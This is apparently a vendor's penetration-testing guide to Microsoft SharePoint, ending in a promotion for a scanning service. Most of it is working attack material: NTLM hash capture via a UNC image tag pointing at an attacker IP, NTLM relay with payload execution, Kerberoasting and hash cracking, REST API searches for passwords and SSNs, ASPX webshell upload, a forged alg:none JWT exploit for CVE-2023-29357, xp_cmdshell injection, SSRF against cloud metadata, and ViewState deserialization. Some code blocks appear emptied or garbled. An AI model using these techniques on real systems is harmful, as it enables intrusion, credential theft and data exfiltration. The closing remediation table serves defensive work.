Microsoft SharePoint Security Testing: NTLM Relay, REST API Exposure, and File Upload Vulnerabilities

Microsoft SharePoint is the document management and collaboration backbone of most enterprise environments — holding sensitive contracts, HR records, source code, and financial data. On-premises SharePoint installations combine Windows authentication (NTLM/Kerberos), a REST API with broad data access, and file upload capabilities into a single attack surface. CVE-2023-29357 demonstrated that a single authentication bypass can hand an attacker SYSTEM-level access. This guide covers SharePoint reconnaissance, NTLM relay attacks, REST API enumeration, webshell upload via document libraries, and the critical differences between on-prem and SharePoint Online (M365) attack surfaces.

Table of Contents

  1. Reconnaissance: Version Detection and Endpoint Mapping
  2. NTLM Relay and Hash Capture
  3. Kerberoasting via SharePoint SPNs
  4. REST API Enumeration and Data Extraction
  5. File Upload to Document Libraries and ASPX Webshells
  6. CVE-2023-29357: Authentication Bypass to EoP/RCE
  7. SSRF via SharePoint Workflows and External Data Connections
  8. Credential Exposure in web.config and Farm Secrets
  9. SharePoint Online vs On-Premises Attack Differences
  10. Remediation and Hardening

Reconnaissance: Version Detection and Endpoint Mapping

SharePoint version identification drives vulnerability selection — SharePoint 2013, 2016, 2019, and Subscription Edition each carry different CVE exposure. The version is revealed through multiple passive channels before any authenticated request is made.

# SharePoint version from /_vti_pvt/service.cnf (legacy FrontPage Server Extensions)
curl -s "http://sharepoint.example.com/_vti_pvt/service.cnf"
# Returns: vti_encoding:SR|utf8-nl
#          vti_extenderversion:SR|6.0.2.8117  (maps to SP build number)

# SharePoint build number from /_layouts/15/start.aspx response headers
curl -s -I "https://sharepoint.example.com/_layouts/15/start.aspx" | grep -i "microsoftsharepointteamservices\|x-sharepointhealthscore"

# The MicrosoftSharePointTeamServices header reveals exact build:
# 16.0.10396.20001 = SharePoint 2019
# 16.0.4xxx = SharePoint 2016
# 15.0.xxxx = SharePoint 2013

# Enumerate common SharePoint endpoints
ENDPOINTS=(
  "/_layouts/15/start.aspx"
  "/_layouts/15/viewlsts.aspx"
  "/_api/web"
  "/_api/web/lists"
  "/_vti_bin/authentication.asmx"
  "/_vti_bin/sitedata.asmx"
  "/_vti_bin/lists.asmx"
  "/_vti_pvt/service.cnf"
  "/_catalogs/masterpage/"
  "/sites/"
  "/_layouts/15/settings.aspx"
  "/_admin/"
)

for ep in "${ENDPOINTS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://sharepoint.example.com$ep")
  echo "$ep: HTTP $STATUS"
done

# Identify site collections (SharePoint farms often have multiple)
curl -s "https://sharepoint.example.com/_api/web/webs" \
  -H "Accept: application/json;odata=verbose" | python3 -m json.tool | grep '"Url"'

# Check if anonymous access is enabled on root site
curl -s "https://sharepoint.example.com/_api/web/currentuser" \
  -H "Accept: application/json;odata=verbose"
Scope Note: SharePoint farms often span multiple hostnames and site collections (e.g., portal.example.com, teams.example.com, intranet.example.com all resolving to the same farm). Confirm all in-scope URLs with the client before testing — a single farm can serve dozens of site collections with different permission models.

SharePoint Version to Build Number Reference

Product Build Range Notable Vulnerabilities
SharePoint 2019 16.0.10000+ CVE-2023-29357 (auth bypass RCE), CVE-2022-37961
SharePoint 2016 16.0.4xxx CVE-2020-16952, CVE-2019-0604 (RCE)
SharePoint 2013 15.0.xxxx CVE-2019-0604, CVE-2018-8625, EOL since April 2023
SharePoint Subscription 16.0.14000+ CVE-2023-29357, CVE-2023-24955

NTLM Relay and Hash Capture

SharePoint on-premises defaults to Windows Integrated Authentication (NTLM or Kerberos). NTLM is the weaker option — it is vulnerable to hash capture via Responder and relay attacks via ntlmrelayx. When SharePoint is configured to use NTLM, any user browsing to a page containing an attacker-controlled UNC path triggers credential capture.

NTLM Hash Capture with Responder

# Step 1: Position Responder on the same network segment as SharePoint clients
# Responder poisons LLMNR/NBT-NS/mDNS queries to redirect NTLM authentication
sudo responder -I eth0 -wrf

# Step 2: Trigger NTLM authentication from SharePoint
# Insert a UNC path into a SharePoint page that users will visit
# Options:
#   - Edit a wiki page and insert: <img src="\\ATTACKER_IP\share\image.png">
#   - Insert via SharePoint Designer web part with an img tag pointing to UNC
#   - Abuse SharePoint's "Link to document" feature pointing to a UNC path

# Step 3: Captured NTLMv2 hashes appear in Responder output:
# [SMB] NTLMv2 Hash     : DOMAIN\username::DOMAIN:challenge:hash

# Crack NTLMv2 with hashcat (mode 5600)
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules /usr/share/hashcat/rules/best64.rule

# Alternative: crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 captured_hashes.txt

NTLM Relay to SharePoint

# NTLM relay attack — relay captured NTLM credentials to SharePoint
# Requires: SMB signing disabled OR relaying HTTP to HTTP (no signing requirement)

# Check if SMB signing is disabled on target (prerequisite for relay)
nmap --script smb2-security-mode.nse -p 445 sharepoint.example.com

# Step 1: Start ntlmrelayx targeting SharePoint's NTLM endpoint
# Relay to SharePoint's _vti_bin endpoint (accepts NTLM)
ntlmrelayx.py -t http://sharepoint.example.com/_vti_bin/authentication.asmx \
  --no-http-server -smb2support

# More targeted: relay to SharePoint REST API to enumerate data
ntlmrelayx.py -t https://sharepoint.example.com/_api/web/lists \
  --no-http-server -smb2support \
  -e /tmp/payload.exe  # optional: execute payload if relay succeeds

# Step 2: Poison LLMNR/NBT-NS to capture NTLM requests
sudo responder -I eth0 --lm -v
# Disable SMB/HTTP in Responder.conf to avoid conflict with ntlmrelayx

# Verify relay success — ntlmrelayx dumps SAM hashes or returns SharePoint data
# on successful relay to SharePoint web services
High Impact: NTLM relay attacks against SharePoint can escalate directly to domain compromise. SharePoint service accounts often run as domain admins or have SeImpersonatePrivilege. A successful relay that obtains a SharePoint farm admin token can be leveraged to deploy ASPX webshells via the REST API.

Kerberoasting via SharePoint SPNs

SharePoint registers Service Principal Names (SPNs) in Active Directory for HTTP and the SharePoint timer service. Service accounts associated with these SPNs are Kerberoastable — any authenticated domain user can request their TGS tickets and crack them offline.

# Enumerate SharePoint-related SPNs in Active Directory
# Run from any domain-joined machine with valid credentials
setspn -Q "HTTP/sharepoint*" -T example.com
setspn -Q "HTTP/*.example.com" -T example.com

# PowerShell: find all SharePoint service account SPNs
Get-ADUser -Filter {ServicePrincipalName -like "*sharepoint*"} -Properties ServicePrincipalName |
  Select-Object Name, SamAccountName, ServicePrincipalName

# Kerberoast all SharePoint SPNs with Rubeus
Rubeus.exe kerberoast /spn:"HTTP/sharepoint.example.com" /nowrap /outfile:spn_hashes.txt

# Kerberoast with Impacket from Linux
GetUserSPNs.py example.com/user:password -dc-ip 192.168.1.10 \
  -request -outputfile sharepoint_spn_hashes.txt

# Crack Kerberos TGS tickets (mode 13100)
hashcat -m 13100 sharepoint_spn_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules /usr/share/hashcat/rules/best64.rule -O

# Common SharePoint service accounts to target:
# - SP_Farm (farm account — often has local admin on all WFE/app servers)
# - SP_Services (runs SharePoint Timer Service — broad farm permissions)
# - SP_WebApp (runs IIS application pool — code execution context)
# - SP_Search (SharePoint Search — can access all content for indexing)

REST API Enumeration and Data Extraction

SharePoint's REST API (/_api/) exposes the full object model over HTTP. With valid credentials — or on misconfigured farms where anonymous access is enabled — the REST API enables comprehensive data enumeration across all site collections, lists, libraries, and user profiles.

Unauthenticated and Authenticated Enumeration

# Test for anonymous REST API access
curl -s "https://sharepoint.example.com/_api/web" \
  -H "Accept: application/json;odata=verbose"

# Authenticated enumeration — enumerate all lists in a site collection
curl -s "https://sharepoint.example.com/_api/web/lists" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password" | python3 -m json.tool | grep '"Title"'

# Enumerate document libraries specifically (BaseType 1 = document library)
curl -s "https://sharepoint.example.com/_api/web/lists?\$filter=BaseType eq 1" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password"

# SharePoint search API — query for sensitive file types
curl -s "https://sharepoint.example.com/_api/search/query?\$select=Title,Path,Author&querytext='fileextension:xlsx AND (password OR credential OR secret)'" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password"

# Enumerate all files in a document library
curl -s "https://sharepoint.example.com/_api/web/lists/getbytitle('Documents')/items?\$select=FileLeafRef,FileRef,Author,Modified" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password"

# Download a file via REST API
curl -s "https://sharepoint.example.com/_api/web/GetFileByServerRelativeUrl('/sites/hr/Shared Documents/salary_bands.xlsx')/\$value" \
  --ntlm -u "DOMAIN\user:password" -o salary_bands.xlsx

# Enumerate site users and their permission levels
curl -s "https://sharepoint.example.com/_api/web/siteusers" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password" | python3 -m json.tool | grep '"LoginName"\|"IsSiteAdmin"'

Python Script for Bulk REST API Enumeration

import requests
from requests_ntlm import HttpNtlmAuth

TARGET = "https://sharepoint.example.com"
USERNAME = "DOMAIN\\testuser"
PASSWORD = "Password123"

auth = HttpNtlmAuth(USERNAME, PASSWORD)
headers = {"Accept": "application/json;odata=verbose"}

def enum_lists(site_url):
    """Enumerate all lists in a SharePoint site collection."""
    url = f"{site_url}/_api/web/lists"
    resp = requests.get(url, auth=auth, headers=headers, verify=False)
    if resp.status_code == 200:
        data = resp.json()
        for lst in data["d"]["results"]:
            print(f"[LIST] {lst['Title']} | Hidden: {lst['Hidden']} | ItemCount: {lst['ItemCount']}")
    else:
        print(f"[-] Failed: HTTP {resp.status_code}")

def search_sensitive_files(site_url):
    """Search for sensitive documents via SharePoint Search API."""
    queries = [
        "password OR credential OR secret",
        "fileextension:kdbx OR fileextension:pfx OR fileextension:key",
        "SSN OR 'social security' OR 'credit card'",
    ]
    for q in queries:
        url = f"{site_url}/_api/search/query"
        params = {
            "querytext": f"'{q}'",
            "$select": "Title,Path,Author,LastModifiedTime",
        }
        resp = requests.get(url, auth=auth, headers=headers, params=params, verify=False)
        if resp.status_code == 200:
            rows = resp.json()["d"]["query"]["PrimaryQueryResult"]["RelevantResults"]["Table"]["Rows"]["results"]
            print(f"\n[QUERY: {q}] — {len(rows)} results")
            for row in rows[:5]:
                cells = {c["Key"]: c["Value"] for c in row["Cells"]["results"]}
                print(f"  {cells.get('Title', 'N/A')} — {cells.get('Path', 'N/A')}")

enum_lists(TARGET)
search_sensitive_files(TARGET)

File Upload to Document Libraries and ASPX Webshells

SharePoint document libraries accept file uploads via the REST API. If an authenticated user has Contribute permissions on a library that is served from within the SharePoint web application's IIS vroot — and the SharePoint farm has not disabled script execution in document libraries — uploading an ASPX file can result in remote code execution.

Identifying Executable Upload Targets

# Check if a document library is accessible under the IIS wwwroot path
# SharePoint libraries mapped to physical paths can execute ASPX files

# The _catalogs/masterpage and _layouts directories are always under the IIS vroot
# Farm admin access allows uploading to these locations

# Enumerate writable document libraries
curl -s "https://sharepoint.example.com/_api/web/lists?\$filter=BaseType eq 1 and Hidden eq false" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password" | python3 -m json.tool | \
  python3 -c "import sys,json; [print(l['Title'],l['RootFolder']['__deferred']['uri']) for l in json.load(sys.stdin)['d']['results']]"

# Test write access to a library by attempting to upload a benign file
curl -s -X POST \
  "https://sharepoint.example.com/_api/web/GetFolderByServerRelativeUrl('/sites/team/Shared Documents')/Files/add(url='test.txt',overwrite=true)" \
  -H "Accept: application/json;odata=verbose" \
  -H "Content-Type: application/octet-stream" \
  -H "X-RequestDigest: $(get_request_digest)" \
  --ntlm -u "DOMAIN\user:password" \
  --data-binary "test content"

Obtaining a Request Digest for Write Operations

# SharePoint REST API write operations require a Form Digest value (CSRF token)
# Obtain it via POST to /_api/contextinfo

# Get request digest
DIGEST=$(curl -s -X POST \
  "https://sharepoint.example.com/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  -H "Content-Length: 0" \
  --ntlm -u "DOMAIN\user:password" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['d']['GetContextWebInformation']['FormDigestValue'])")

echo "Digest: $DIGEST"

# Upload ASPX webshell to _catalogs/masterpage (requires farm admin / designer rights)
# Minimal ASPX shell for PoC (authorized testing only)
cat > /tmp/test.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>

EOF

curl -s -X POST \
  "https://sharepoint.example.com/_api/web/GetFolderByServerRelativeUrl('/_catalogs/masterpage')/Files/add(url='update.aspx',overwrite=true)" \
  -H "Accept: application/json;odata=verbose" \
  -H "Content-Type: application/octet-stream" \
  -H "X-RequestDigest: $DIGEST" \
  --ntlm -u "DOMAIN\farmadmin:password" \
  --data-binary @/tmp/test.aspx

# Access the uploaded shell
curl "https://sharepoint.example.com/_catalogs/masterpage/update.aspx?cmd=whoami"
Important: ASPX webshell execution via document library upload requires either farm admin privileges or that the target folder has script execution enabled (not blocked by SharePoint's file type restrictions). Standard Contribute-level users cannot upload and execute ASPX files to typical document libraries — the _catalogs/masterpage path requires elevated permissions. Document this as a privilege escalation path, not an unauthenticated vector.

CVE-2023-29357: Authentication Bypass to EoP/RCE

CVE-2023-29357 is a critical authentication bypass vulnerability in SharePoint Server 2019 and SharePoint Subscription Edition (CVSS 9.8). It allows an unauthenticated attacker to forge a JWT authentication token and impersonate any user — including site collection administrators. When chained with CVE-2023-24955 (server-side code injection), the result is unauthenticated RCE as the SharePoint application pool service account.

Understanding the Vulnerability

SharePoint uses JSON Web Tokens (JWTs) signed with a key derived from the farm's machine key. CVE-2023-29357 exploits a flaw in how SharePoint validates the JWT's signing algorithm — by specifying "alg": "none" or using a predictable signing key path, an attacker can craft a token that SharePoint accepts as valid without knowing the actual farm secret.

# CVE-2023-29357 detection — test for JWT bypass
# Step 1: Confirm the SharePoint version is unpatched (pre-September 2023 CU)
curl -s -I "https://sharepoint.example.com/_layouts/15/start.aspx" | \
  grep -i "MicrosoftSharePointTeamServices"

# Build 16.0.10396.20000 or below is vulnerable for SharePoint 2019
# Build 16.0.14326.20730 or below is vulnerable for Subscription Edition

# Step 2: Craft a forged JWT with "none" algorithm
# Python PoC for CVE-2023-29357 JWT bypass
python3 << 'PYEOF'
import base64
import json

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Forge JWT header — alg:none bypass
header = {"alg": "none", "typ": "JWT"}
# Claim set impersonating a SharePoint site admin
# nii = "urn:office:idp:activedirectory" indicates AD user
payload = {
    "nii": "urn:office:idp:activedirectory",
    "sub": "00000000-0000-0000-0000-000000000000",  # target user SID (enumerate first)
    "iss": "00000003-0000-0ff1-ce00-000000000000@example.com",
    "aud": "00000003-0000-0ff1-ce00-000000000000/sharepoint.example.com@example.com",
    "exp": 9999999999,
    "nbf": 0
}

token = f"{b64url(json.dumps(header))}.{b64url(json.dumps(payload))}."
print(f"Forged JWT:\n{token}")
PYEOF

# Step 3: Use forged token to authenticate to SharePoint REST API
TOKEN=""
curl -s "https://sharepoint.example.com/_api/web/currentuser" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Accept: application/json;odata=verbose"

# Step 4: If user impersonation succeeds, escalate to farm admin
# Enumerate site collection admins
curl -s "https://sharepoint.example.com/_api/web/siteusers?\$filter=IsSiteAdmin eq true" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Accept: application/json;odata=verbose"

# Nuclei template for safe CVE-2023-29357 detection
nuclei -u https://sharepoint.example.com -t cves/2023/CVE-2023-29357.yaml

Chaining CVE-2023-29357 with CVE-2023-24955 for RCE

# CVE-2023-24955 — server-side code injection via Business Data Connectivity (BDC)
# Requires: Site Collection Admin privileges (achievable via CVE-2023-29357)

# The vulnerability allows injecting arbitrary .NET code into a SharePoint page
# via the Business Data Connectivity service's ExternalContentType XML parsing

# Step 1: Forge admin JWT via CVE-2023-29357 (see above)
# Step 2: Create a malicious BDC model XML with embedded code execution
cat > /tmp/malicious_bdcm.xml << 'XML'


  
    
      
        
          SELECT 1; EXEC xp_cmdshell 'whoami > C:\inetpub\wwwroot\out.txt'
        
      
    
  

XML

# Step 3: Upload BDC model via REST API using forged admin token
curl -s -X POST \
  "https://sharepoint.example.com/_vti_bin/client.svc/ProcessQuery" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  --data @/tmp/malicious_bdcm.xml

# Metasploit module for CVE-2023-29357 + CVE-2023-24955 chain
# use exploit/windows/http/sharepoint_spe_rce_cve_2023_29357
# set RHOSTS sharepoint.example.com
# set RPORT 443
# set SSL true
# run
Critical (CVE-2023-29357, CVSS 9.8): This vulnerability was demonstrated at DEF CON 31 (2023) by STAR Labs. Unpatched SharePoint 2019 and Subscription Edition installations are trivially exploitable — the September 2023 Cumulative Update (CU) is the minimum required patch level. Verify via build number before testing.

SSRF via SharePoint Workflows and External Data Connections

SharePoint's legacy workflow engine (SharePoint Designer workflows, SPD 2010/2013 workflows) and the Business Data Connectivity (BDC) framework both make outbound HTTP connections configured by authenticated users. An attacker with Contribute permissions can define workflows that issue requests to internal resources, effectively turning SharePoint into an SSRF proxy.

# SharePoint Designer workflow SSRF via "Call HTTP Web Service" action
# SPD 2013 workflows support an HTTP call action that accepts arbitrary URLs

# Manually trigger via the REST API — create a workflow association
# targeting an internal host
curl -s -X POST \
  "https://sharepoint.example.com/_api/SP.WorkflowServices.WorkflowServicesManager/current/GetWorkflowInteropService" \
  -H "Accept: application/json;odata=verbose" \
  -H "X-RequestDigest: $DIGEST" \
  --ntlm -u "DOMAIN\user:password"

# BDC External Content Type SSRF
# Create an External List pointing to an internal data source URL
# The "Database" or "WCF Service" connector type will issue outbound requests

# Test SSRF via SharePoint's OData connector (external data)
# This creates a "new external data connection" pointing to internal metadata
curl -s -X POST \
  "https://sharepoint.example.com/_vti_bin/client.svc/ProcessQuery" \
  -H "Accept: application/json" \
  -H "Content-Type: application/json;charset=utf-8" \
  -H "X-RequestDigest: $DIGEST" \
  --ntlm -u "DOMAIN\user:password" \
  -d '{
    "requests": [{
      "method": "POST",
      "url": "/_api/web/lists",
      "body": {
        "Title": "SSRFTest",
        "ExternalDataEntityTypeName": "http://169.254.169.254/latest/meta-data/"
      }
    }]
  }'

# Check SharePoint's ULS (Unified Logging System) for SSRF evidence
# C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\LOGS\
# Look for outbound HTTP connections in ULS trace logs

SharePoint OData Feed SSRF

# SharePoint can connect to external OData feeds via "External Data"
# Configure an OData source pointing to internal services

# Cloudflare/AWS metadata via SharePoint OData SSRF
# Target: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# OR: http://192.168.1.1/ (internal network gateway)
# OR: http://internal-api.example.com/ (internal microservices)

# Python script to create a malicious external content type
import requests
from requests_ntlm import HttpNtlmAuth

auth = HttpNtlmAuth("DOMAIN\\user", "Password123")

# Get form digest
resp = requests.post(
    "https://sharepoint.example.com/_api/contextinfo",
    auth=auth,
    headers={"Accept": "application/json;odata=verbose"},
    verify=False
)
digest = resp.json()["d"]["GetContextWebInformation"]["FormDigestValue"]

# Create external list with SSRF payload as data source URL
payload = {
    "__metadata": {"type": "SP.List"},
    "BaseTemplate": 600,  # 600 = External List
    "Title": "ExternalTest",
    "ExternalDataEntityTypeName": "http://169.254.169.254/latest/meta-data/"
}

resp = requests.post(
    "https://sharepoint.example.com/_api/web/lists",
    auth=auth,
    headers={
        "Accept": "application/json;odata=verbose",
        "Content-Type": "application/json;odata=verbose",
        "X-RequestDigest": digest
    },
    json=payload,
    verify=False
)
print(f"Status: {resp.status_code}")
print(resp.text[:500])

Credential Exposure in web.config and Farm Secrets

SharePoint stores sensitive configuration in multiple locations. The farm configuration database credentials, service application credentials, and encryption keys are all accessible to users with local admin rights on the web front-end (WFE) servers or application servers — and sometimes exposed via misconfigurations.

# web.config locations on SharePoint WFE servers
# Primary IIS site web.config (contains connection strings if misconfigured)
# C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config

# Check web.config for database connection strings
# (requires local access or path traversal vulnerability)
# Look for:
# - DatabaseServer / DatabaseName attributes
# - machineKey validationKey + decryptionKey (enables ViewState forgery)

# SharePoint machine key exposure enables ViewState deserialization attacks
# Extract machine key from web.config:
grep -i "machineKey\|validationKey\|decryptionKey" web.config

# ViewState deserialization with known machine key (ysoserial.net)
# ysoserial.exe -p ViewState -g TextFormattingRunProperties \
#   --validationalg="SHA1" --validationkey="EXTRACTED_KEY" \
#   --generator="CA0B0334" --viewstateuserkey="" --isdebug -c "whoami"

# Farm passphrase — used during farm join operations
# Stored in: HKLM\SOFTWARE\Microsoft\Shared Tools\Web Server Extensions\16.0\Secure\FarmAdmin
# Retrieve via PowerShell (requires local admin):
# (Get-SPFarm).TimerService.RunAsPassword  # Not directly, but:
# Get-SPDiagnosticConfig | Select-Object *  # Farm config details

# SharePoint app passwords stored in Secure Store Service
# Enumerate via PowerShell (farm admin):
# Get-SPSecureStoreApplication -ServiceContext "https://sharepoint.example.com" | Select DisplayName

# Check for credentials in SharePoint lists (common misconfiguration)
# Use REST API to search list content for credential patterns
curl -s "https://sharepoint.example.com/_api/search/query?\$select=Title,Path,HitHighlightedSummary&querytext='password OR username OR credential'" \
  -H "Accept: application/json;odata=verbose" \
  --ntlm -u "DOMAIN\user:password" | python3 -m json.tool | grep "HitHighlightedSummary\|Path"

SharePoint Online vs On-Premises Attack Differences

SharePoint Online (part of Microsoft 365) shares the REST API surface with on-premises SharePoint but differs fundamentally in authentication model, infrastructure access, and available attack vectors. Understanding these differences prevents wasted testing effort and ensures the right tools are used.

Attack Vector On-Premises SharePoint Online (M365)
Authentication NTLM, Kerberos, Forms-Based Auth Azure AD OAuth 2.0 / SAML — NTLM not applicable
NTLM Relay Highly relevant attack path Not applicable — no NTLM
REST API Enumeration NTLM or Kerberos auth Bearer token via MSAL/Azure AD
File Upload (webshell) ASPX execution possible if server-side scripting enabled Blocked — Microsoft-managed IIS, no ASPX execution
CVE-2023-29357 Affects unpatched on-prem installations Patched by Microsoft; not exploitable by tenant
SSRF via Workflows Outbound to internal network possible Outbound to internet only; no internal network access
Excessive Permissions AD group misconfiguration, service accounts Azure AD app registrations with Sites.ReadWrite.All, over-privileged OAuth apps
Credential Exposure web.config, farm database, registry Exposed SPO access tokens, client secrets in app registrations

SharePoint Online (M365) Specific Testing

# SharePoint Online uses Azure AD tokens — obtain via device code flow or ROPC
# ROPC (Resource Owner Password Credentials) for testing:
curl -s -X POST "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "scope=https://TENANT.sharepoint.com/.default" \
  -d "grant_type=password" \
  -d "username=user@tenant.onmicrosoft.com" \
  -d "password=Password123" | python3 -m json.tool | grep "access_token"

# Use access token for SharePoint Online REST API
SPO_TOKEN=""
curl -s "https://TENANT.sharepoint.com/_api/web/lists" \
  -H "Authorization: Bearer $SPO_TOKEN" \
  -H "Accept: application/json;odata=verbose"

# Check for overprivileged Azure AD app registrations accessing SharePoint
# Use Microsoft Graph to enumerate app permissions
curl -s "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq 'APPID'" \
  -H "Authorization: Bearer $GRAPH_TOKEN" | python3 -m json.tool | grep "Sites\|SharePoint"

# Test for anonymous external sharing links (common misconfiguration in SPO)
# These can be enumerated via predictable URL patterns
# https://TENANT.sharepoint.com/:x:/g/SITE/DOCID?e=TOKEN

# Search for SPO sharing links in email/Slack/Teams (OSINT)
# Pattern: *.sharepoint.com/sites/*/Shared%20Documents
# Pattern: *.sharepoint.com/:f:/g/ (folder sharing link)

Remediation and Hardening

Finding Risk Remediation
CVE-2023-29357 (unpatched) Critical Apply September 2023 CU or later; verify build ≥ 16.0.10396.20004 (SP2019)
NTLM authentication enabled High Migrate to Kerberos-only or Azure AD-based auth; disable NTLM in IIS authentication settings
ASPX upload to script-enabled paths High Block .aspx in document library file type filters; restrict Designer rights to IT team only
Anonymous REST API access High Disable anonymous access on all web applications; require Windows or Forms auth minimum
Over-permissive service accounts High Audit SPNs; ensure SP_Farm / SP_Services accounts are not Domain Admins; use gMSAs
machineKey in web.config High Rotate machineKey after any suspected exposure; restrict web.config file ACLs
Workflow SSRF to internal hosts Medium Disable SPD workflows for non-IT users; block outbound workflow HTTP traffic via firewall
Credentials stored in SharePoint lists Medium Run SharePoint Search queries for password patterns; use DLP policies to alert on credential content
Excessive sharing links (SPO) Medium Configure tenant-level link expiry; disable "Anyone" links; enforce Conditional Access on external sharing
Automated SharePoint Assessment: Ironimo automatically tests your SharePoint installations for exposed REST API endpoints, unauthenticated access, version fingerprinting, and known CVE signatures — producing prioritized findings without requiring manual exploitation of production systems.

Automate Your SharePoint Security Assessment

Ironimo scans SharePoint web interfaces for authentication weaknesses, exposed REST APIs, misconfigured document libraries, and unpatched CVEs — giving your team actionable evidence to prioritize hardening before an attacker finds it first.

Start free scan